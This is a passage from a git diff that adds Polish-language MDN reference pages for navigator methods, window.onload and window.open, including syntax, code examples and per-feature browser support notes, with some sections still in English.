+<h3 id="Metody" name="Metody">Metody</h3> + +<dl> + <dt><a href="pl/DOM/window.navigator.javaEnabled">navigator.javaEnabled</a></dt> + <dd>Określa czy w przeglądarce jest włączona obsługa Javy.</dd> + <dt><a href="pl/DOM/window.navigator.taintEnabled">navigator.taintEnabled</a> {{ Obsolete_inline() }} </dt> + <dd>Returns false. JavaScript taint/untaint functions removed in JavaScript 1.2<a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/reference/nav.html#1194117"> </a></dd> + <dt><a href="pl/DOM/window.navigator.preference">navigator.preference</a></dt> + <dd>Sets a user preference. This method is <a class="external" href="http://www.faqts.com/knowledge_base/view.phtml/aid/1608/fid/125/lang/en">only available to privileged code</a>, and you should use XPCOM <a href="pl/API_preferencji">API preferencji</a> instead.</dd> + <dt><a href="pl/DOM/window.navigator.registerContentHandler">navigator.registerContentHandler</a></dt> + <dd>Pozwala stronom na zarejestrowanie się jako możliwe serwisy obsługujące dla zawartości konkretnego typu MIME.</dd> + <dt><a href="pl/DOM/window.navigator.registerProtocolHandler">navigator.registerProtocolHandler</a></dt> + <dd>Pozwala stronom na zarejestrowanie się jako możliwe serwisy obsługujące dany protokół.</dd> +</dl> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p><a href="pl/DOM_Client_Object_Cross-Reference/navigator">DOM Client Object Cross-Reference:navigator</a></p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p> </p> diff --git a/files/pl/web/api/window/onload/index.html b/files/pl/web/api/window/onload/index.html new file mode 100644 index 0000000000..45e1b97328 --- /dev/null +++ b/files/pl/web/api/window/onload/index.html @@ -0,0 +1,62 @@ +--- +title: window.onload +slug: Web/API/Window/onload +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/GlobalEventHandlers/onload +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Uchwyt zdarzenia dla zdarzenia wczytywania okna (<a href="/pl/DOM/window" title="pl/DOM/window">window</a>).</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">window.onload = <em>funcRef</em>; +</pre> + +<ul> + <li><code>funcRef</code> jest funkcją uchwytu.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre>window.onload = function() { + init(); + doSomethingElse(); +}; +</pre> + +<pre><html> +<head> + +<title>Test onload</title> + +<script type="text/javascript"> + +window.onload = load; + +function load() +{ + alert("Wykryto zdarzenie load!"); +} +</script> +</head> + +<body> +<p>Zdarzenie load występuje w momencie zakończenia ładowania dokumentu!</p> +</body> +</html> +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Zdarzenie load wywoływane jest na końcu procesu ładowania dokumentu. W momencie wystąpienia zdarzenia, DOM zawiera już wszystkie obiekty zawarte w dokumencie oraz zakończone zostało wczytywanie obrazków oraz ramek.<br> + <br> + Istnieje także zdarzenie <code>DOMContentLoaded</code> (które można zarejestrować za pomocą <code>addEventListener</code>) występujące w momencie gdy DOM dla danej strony został zbudowany ale bez czekania na zakończenie ładowania pozostałych zasobów.</p> diff --git a/files/pl/web/api/window/open/index.html b/files/pl/web/api/window/open/index.html new file mode 100644 index 0000000000..de2d422a8b --- /dev/null +++ b/files/pl/web/api/window/open/index.html @@ -0,0 +1,796 @@ +--- +title: window.open +slug: Web/API/Window/open +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/Window/open +--- +<p>{{ ApiRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Tworzy nowe okno przeglądarki i wczytuje do niego wskazany zasób.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval"><var>referencjaDoObiektuOkna</var> = window.open(<var>strUrl</var>, <var>strNazwaOkna</var> [, <var>strCechyOkna</var>]); +</pre> + +<h3 id="Parametry_i_zwracana_warto.C5.9B.C4.87" name="Parametry_i_zwracana_warto.C5.9B.C4.87">Parametry i zwracana wartość</h3> + +<dl> + <dt><code>referencjaDoObiektuOkna</code></dt> + <dd>Referencja wskazująca na obiekt nowoutworzonego okna to wartość zwracana przez metodę open(). Jeżeli z jakichś powodów nie uda się otworzyć okna, zwrócone zostanie <code>null</code>. Referencje taką dobrze jest przechowywać w zmiennej globalnej. Możesz wtedy użyć jej do do pobrania właściwości nowego okna lub wywołania jego metod - pod warunkiem, że zależność między głównym a nowym oknem spełnia <a class="external" href="http://www.mozilla.org/projects/security/components/same-origin.html">Zasadę tego samego pochodzenia</a> - wymaganą ze względów bezpieczeństwa.</dd> +</dl> + +<dl> + <dt><code>strUrl</code></dt> + <dd>Adres URL, który ma zostać wczytany w nowym oknie. Może to być dokument HTML gdzieś w Sieci, może to być obrazek lub dowolny inny plik, który może obsłużyć przeglądarka.</dd> +</dl> + +<dl> + <dt><code>strNazwaOkna</code></dt> + <dd>Ciąg znaków używany jako nazwa okna. Nazwy tej można użyć jako celu dla odnośników i formularzy, określanego za pomocą atrybutu <code>target</code> elementu <code style="font-size: 1em;"><a></code> lub <code style="font-size: 1em;"><form></code>. Nazwa nie powinna zawierać spacji. <var>strNazwaOkna</var> nie określa tytułu nowego okna.</dd> +</dl> + +<dl> + <dt><code>strCechyOkna</code></dt> + <dd>Parametr opcjonalny. Jest to ciąg znaków, w którym wymienione zostają cechy (funkcjonalność, paski narzędzi) nowego okna przeglądarki. Parametr ten nie może zawierać żadnych spacji. Każda żądana cecha okna oddzielana jest od innych za pomocą przecinka.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>open()</code> tworzy nowe okno przeglądarki, podobnie jak przy wybraniu polecenia Nowe okno w menu Plik. Parametr <var>strUrl</var> określa URL, który ma zostać pobrany i załadowany w nowym oknie. Jeśli <var>strUrl</var> jest pustym ciągiem, utworzone zostanie puste okno (URL <code>about:blank</code>) z domyślnym zestawem pasków głównego okna.</p> + +<p>Zauważ, że zdalny URL nie zostanie załadowany od razu. Po zakończeniu wykonywania <code>window.open()</code> okno zawsze zawiera <code>about:blank</code>. Faktyczne pobieranie z adresu URL jest opóźniane do momentu zakończenia wykonywania bieżącego bloku skryptu. Tworzenie okna i ładowanie wskazanego zasobu odbywają się asynchronicznie.</p> + +<h4 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h4> + +<pre><script type="text/javascript"> + +/* Deklaracja zmiennej globalnej, w której będzie + przechowywana referencja do nowego okna */ + +var WindowObjectReference; + +function openRequestedPopup() +{ + WindowObjectReference = window.open("http://www.cnn.com/", "CNN_WindowName", + "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"); +} +</script> +</pre> + +<pre><script type="text/javascript"> +var WindowObjectReference; // zmienna globalna + +function openRequestedPopup() +{ + WindowObjectReference = window.open("http://www.domainname.ext/path/ImageFile.png", + "DescriptiveWindowName", + "resizable=yes,scrollbars=yes,status=yes"); +} +</script> +</pre> + +<p>Jeśli istnieje już okno o tej samej nazwie <var>strWindowName</var>, to zamiast otwierania nowego okna w istniejącym oknie zostanie załadowany URL <var>strUrl</var>. W takim wypadku wartością zwracaną jest referencja do istniejącego okna, a parametr <var>strWindowFeatures</var> jest ignorowany. Wywołanie metody z pustym ciągiem jako <var>strUrl</var> to sposób uzyskania referencji do otwartego okna jeśli znana jest jego nazwa. Zawartość tego okna nie zostanie zmieniona. Jeśli chcesz otwierać nowe okno przy każdym wywołaniu <code>window.open()</code>, podaj specjalną wartość <var>_blank</var> jako parametr <var>strWindowName</var>.</p> + +<p><var>strWindowFeatures</var> to opcjonalny ciąg znaków z rozdzieloną przecinkami listą żądanych cech nowego okna. Po otwarciu okna nie możesz zmienić jego funkcjonalności czy pasków za pomocą JavaScriptu. Jeśli <var>strWindowName</var> nie określa istniejącego okna i jeśli nie podasz parametru <var>strWindowFeatures</var> (lub będzie on tylko pustym ciągiem znaków), w nowym oknie znajdize się domyślny zestaw pasków głównego okna.</p> + +<p>Jeżeli zostanie użyty parametr <var>strWindowFeatures</var>, ale nie zostaną podane cechy określające rozmiar, wymiary okna będą takie same, jak wymiary ostatnio wyrenderowanego okna.</p> + +<p>Jeśli zostanie podany parametr <var>strWindowFeatures</var>, ale bez definiowania cech określających pozycję, wtedy współrzędne lewego górnego rogu będą przesunięte o 22 piksele od miejsca, gdzie znajdował się róg ostatnio wyrenderowanego okna. Przesunięcie to jest implementowane przez producentów przeglądarek (w MSIE 6 SP2 wynosi ono 29 pikseli przy domyślnym motywie) - ma ono ułatwiać użytkownikom dostrzeżenie, że otwarto nowe okno. Jeśli ostatnio używane okno było zmaksymalizowane, przesunięcie o 22 piksele nie zostanie użyte - nowe okno także będzie zmaksymalizowane.</p> + +<p><strong>Jeśli podajesz <var>strWindowFeatures</var>, cechy, które nie zostaną określone, będą wyłączone lub usunięte</strong> (z wyjątkiem <var>titlebar</var> i <var>close</var>, które domyślnie ustawiane są na <var>yes</var>)>.</p> + +<div class="note"> +<p><strong>Porada</strong>: Jeśli podajesz parametr <var>strWindowFeatures</var>, zawrzyj tylko te cechy, które chcesz, by były włączone lub wyświetlane; pozostałe (poza <var>titlebar</var> i <var>close</var>) zostaną wyłączone.</p> +</div> + +<p><img alt="Firefox Chrome Toolbars Illustration" class="internal" src="/@api/deki/files/2311/=FirefoxChromeToolbarsDescription7a.gif"></p> + +<h4 id="Pozycja_i_rozmiar_okna" name="Pozycja_i_rozmiar_okna">Pozycja i rozmiar okna</h4> + +<ul> + <li><a href="#Note_on_position_and_dimension_error_correction">Note on position and dimension error correction</a></li> + <li>{{bug(176320) }}</li> + <li><a href="#Note_on_precedence">Note on precedence</a></li> +</ul> + +<dl> + <dt>left</dt> + <dd><span id="left">Określa odległość</span> między lewą krawędzią obszaru roboczego aplikacji w systemie operacyjnym użytkownika a najbardziej wysuniętą w lewo częścią obramowania nowego okna przeglądarki. Nowe okno nie możo być zainicjowane w miejscu wychodzącym poza ekran.</dd> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png">, <img alt="Opera 6+" class="internal" src="/@api/deki/files/2337/=Opera6.gif"></dd> +</dl> + +<dl> + <dt>top</dt> + <dd><span id="topS">Określa odległość</span> między górną krawędzią obszaru roboczego aplikacji w systemie operacyjnym użytkownika a najbardziej wysuniętą w górę częścią obramowania nowego okna przeglądarki. Nowe okno nie możo być zainicjowane w miejscu wychodzącym poza ekran.</dd> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png">, <img alt="Opera 6+" class="internal" src="/@api/deki/files/2337/=Opera6.gif"></dd> +</dl> + +<dl> + <dt>height</dt> + <dd><span id="height">Określa wysokość</span> obszaru zawartości okna wyrażoną w pikselach. Wartość zawiera wysokość poziomego paska przewijania, jeśli jest on wyświetlany. Wymagana minimalna wartość to 100.</dd> + <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png">, <img alt="Opera 6+" class="internal" src="/@api/deki/files/2337/=Opera6.gif"></dd> +</dl> + +<dl> + <dt>width</dt> + <dd><span id="width">Określa wysokość</span> obszaru zawartości okna wyrażoną w pikselach. Wartość zawiera szerokość pionowego paska przewijania, jeśli jest on wyświetlany. Nie jest włączana szerokość panelu bocznego, jeśli jest on otwarty. Wymagana minimalna wartość to 100.</dd> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png">, <img alt="Opera 6+" class="internal" src="/@api/deki/files/2337/=Opera6.gif"></dd> +</dl> + +<dl> + <dt>screenX</dt> + <dd>Cecha wycofana. Określa to samo co <a href="#left">left</a>, ale obsługują ją tylko przeglądarki Netscape i oparte o Mozillę.</dd> + <dd>Obsługiwane przez <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>screenY</dt> + <dd>Cecha wycofana. Określa to samo co <a href="#topS">top</a>, ale obsługują ją tylko przeglądarki Netscape i oparte o Mozillę.</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>outerHeight</dt> + <dd>Określa wysokość całego okna przeglądarki w pikselach. Wartość <code>outerHeight</code> zawiera w sobie wszystkie widoczne paski, poziomy pasek przewijania (jeśli jest widoczny) i obramowanie okna. Minimalna wymana wartość to 100.</dd> + <dd><strong>Uwaga</strong>: ponieważ pasek tytułowy jest zawsze widoczny, wywołanie <code>outerHeight=100</code> zmniejszy <code>innerHeight</code> okna poniżej wymaganych 100 pikseli.</dd> + <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd> + <dd>Obsługiwane przez <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>outerWidth</dt> + <dd>Określa szerokość całego okna przeglądarki w pikselach. Wartość <code>outerWidth</code> zawiera w sobie pionowy pasek przewijania (jeśli jest widoczny) i obramowanie okna. Minimalna wymana wartość to 100.</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>innerHeight</dt> + <dd>To samo co <a href="#height">height</a>, ale obsługiwane tylko przez przeglądarki Netscape i oparte o Mozillę</dd> + <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>innerWidth</dt> + <dd>To samo co <a href="#width">width</a>, ale obsługiwane tylko przez przeglądarki Netscape i oparte o Mozillę</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<h4 id="Toolbar_and_chrome_features" name="Toolbar_and_chrome_features">Toolbar and chrome features</h4> + +<dl> + <dt>menubar </dt> + <dd>Jeśli ta opcja jest ustawiona na <var>yes</var>, wtedy nowe okno posiada widoczny pasek menu.</dd> + <dd>Użytkownicy Mozilli i Firefoxa mogą wymusić by każde nowo otwarte okno posiadało widoczny masek menu poprzez ustawienie<br> + <code>dom.disable_window_open_feature.menubar</code><br> + na <var>true</var> w <code>about:config</code> lub w ich <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">pliku user.js</a>.</dd> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>toolbar </dt> + <dd>Jeśli ta opcja jest ustawiona na <var>yes</var>, wtedy nowe okno posiada widoczny pasek nawigacji (Przyciski: poprzednia strona, następna strona, odśwież, zatrzymaj). In addition to the Navigation Toolbar, Mozilla-based browsers will render the Tab Bar if it is visible, present in the parent window.</dd> + <dd>Mozilla and Firefox users can force new windows to always render the Navigation Toolbar by setting<br> + <code>dom.disable_window_open_feature.toolbar</code><br> + to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>location </dt> + <dd>If this feature is set to <var>yes</var>, then the new secondary window renders the Location bar in Mozilla-based browsers. MSIE 5+ and Opera 7.x renders the Address Bar.</dd> + <dd>Mozilla and Firefox users can force new windows to always render the location bar by setting<br> + <code>dom.disable_window_open_feature.location</code><br> + to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd> +</dl> + +<p>Note that MSIE 7 will force the presence of the Address Bar: "We think the address bar is also important for users <strong>to see in pop-up windows</strong>. A missing address bar creates a chance for a fraudster to forge an address of their own. To help thwart that, <strong>IE7 will show the address bar on all internet windows to help users see where they are</strong>." coming from <a class="external" href="http://blogs.msdn.com/ie/archive/2005/11/21.aspx">Microsoft Internet Explorer Blog, Better Website Identification</a></p> + +<dl> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png">, <img alt="Opera 6+" class="internal" src="/@api/deki/files/2337/=Opera6.gif"></dd> +</dl> + +<dl> + <dt>directories </dt> + <dd>If this feature is set to <var>yes</var>, then the new secondary window renders the Personal Toolbar in Netscape 6.x, Netscape 7.x and Mozilla browser. It renders the Bookmarks Toolbar in Firefox 1.x and, in MSIE 5+, it renders the Links bar. In addition to the Personal Toolbar, Mozilla browser will render the Site Navigation Bar if such toolbar is visible, present in the parent window.</dd> + <dd>Mozilla and Firefox users can force new windows to always render the Personal Toolbar/Bookmarks toolbar by setting<br> + <code>dom.disable_window_open_feature.directories</code><br> + to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>personalbar </dt> + <dd>Same as <var>directories</var> but only supported by Netscape and Mozilla-based browsers.</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>status </dt> + <dd>If this feature is set to <var>yes</var>, then the new secondary window has a status bar. Users can force the rendering of status bar in all Mozilla-based browsers, in MSIE 6 SP2 (<a href="#Note_on_security_issues_of_the_status_bar_presence">Note on status bar in XP SP2</a>) and in Opera 6+. The default preference setting in recent Mozilla-based browser releases and in Firefox 1.0 is to force the presence of the status bar.</dd> + <dd><a href="#Note_on_status_bar">Note on status bar</a></dd> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<h4 id="Window_functionality_features" name="Window_functionality_features">Window functionality features</h4> + +<dl> + <dt>resizable </dt> + <dd>If this feature is set to <var>yes</var>, the new secondary window will be resizable.</dd> + <dd><strong>Note</strong>: Starting with version 1.4, Mozilla-based browsers have a window resizing grippy at the right end of the status bar, this ensures that users can resize the browser window even if the web author requested this secondary window to be non-resizable. In such case, the maximize/restore icon in the window's titlebar will be disabled and the window's borders won't allow resizing but the window will still be resizable via that grippy in the status bar.</dd> +</dl> + +<div class="note"> +<p><strong>Tip</strong>: For accessibility reasons, it is strongly recommended to set this feature always to <var>yes</var>.</p> +</div> + +<dl> + <dd>Mozilla and Firefox users can force new windows to be easily resizable by setting<br> + <code>dom.disable_window_open_feature.resizable</code><br> + to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>scrollbars </dt> + <dd>If this feature is set to <var>yes</var>, the new secondary window will show horizontal and/or vertical scrollbar(s) if the document doesn't fit into the window's viewport.</dd> +</dl> + +<div class="note"> +<p><strong>Tip</strong>: For accessibility reasons, it is strongly encouraged to set this feature always to <var>yes</var>.</p> +</div> + +<dl> + <dd>Mozilla and Firefox users can force this option to be always enabled for new windows by setting<br> + <code>dom.disable_window_open_feature.scrollbars</code><br> + to <var>true</var> in <code>about:config</code> or in their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd> + <dd><a href="#Note_on_scrollbars">Note on scrollbars</a></dd> + <dd>Obsługiwane przez: <img alt="Internet Explorer 5+" class="internal" src="/@api/deki/files/2324/=MSIE_ico.png">, <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>dependent </dt> + <dd>If set to <var>yes</var>, the new window is said to be dependent of its parent window. A dependent window closes when its parent window closes. A dependent window is minimized on the Windows task bar only when its parent window is minimized. On Windows platforms, a dependent window does not show on the task bar. A dependent window also stays in front of the parent window.</dd> + <dd>Dependent windows are not implemented on MacOS X, this option will be ignored.</dd> + <dd>In MSIE 6, the nearest equivalent to this feature is the <code>showModelessDialog()</code> method.</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>chrome </dt> + <dd><strong>Note</strong>: Starting with Mozilla 1.7/Firefox 0.9, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{ Bug(244965) }}). Without this privilege it is ignored.</dd> + <dd>If set to <var>yes</var>, the page is loaded as window's only content, without any of the browser's interface elements. There will be no context menu defined by default and none of the standard keyboard shortcuts will work. The page is supposed to provide a user interface of its own, usually this feature is used to open XUL documents (standard dialogs like the JavaScript Console are opened this way).</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>modal </dt> + <dd><strong>Note</strong>: Starting with Mozilla 1.2.1, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{ Bug(180048) }}). Without this privilege, it is equivalent to <code>dependent</code>.</dd> + <dd>If set to <var>yes</var>, the new window is said to be modal. The user cannot return to the main window until the modal window is closed. A typical modal window is created by the <a href="/pl/DOM/window.alert" title="pl/DOM/window.alert">alert() function</a>.</dd> + <dd>The exact behavior of modal windows depends on the platform and on the Mozilla release version.</dd> + <dd>The MSIE 6 equivalent to this feature is the <code>showModalDialog()</code> method.</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" class="internal" src="/@api/deki/files/2333/=Mozilla1_ico.png">, <img alt="Firefox 1.x" class="internal" src="/@api/deki/files/2305/=FF1x.png"></dd> +</dl> + +<dl> + <dt>dialog </dt> + <dd>The <code>dialog</code> feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. <span class="float-right"><img alt="Firefox and its command system menu under Windows" class="internal" src="/@api/deki/files/2325/=MenuSystemCommands.png"></span>Mozilla 1.2+ and Netscape 7.1 will render the other menu system commands (in FF 1.0 and in NS 7.0x, the command system menu is not identified with the Firefox/NS 7.0x icon on the left end of the titlebar: that's probably a bug. You can access the command system menu with a right-click on the titlebar). Dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. They are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. On Mac systems, dialog windows have a different window border and they may get turned into a sheet.</dd> + <dd>Obsługiwane przez: <img alt="Netscape 6.x" class="internal" src="/@api/deki/files/2465/=Ns6.gif">, <img alt="Netscape 7.x" class="internal" src="/@api/deki/files/2334/=NS7_ico4.gif">, <img alt="Mozilla 1.x" 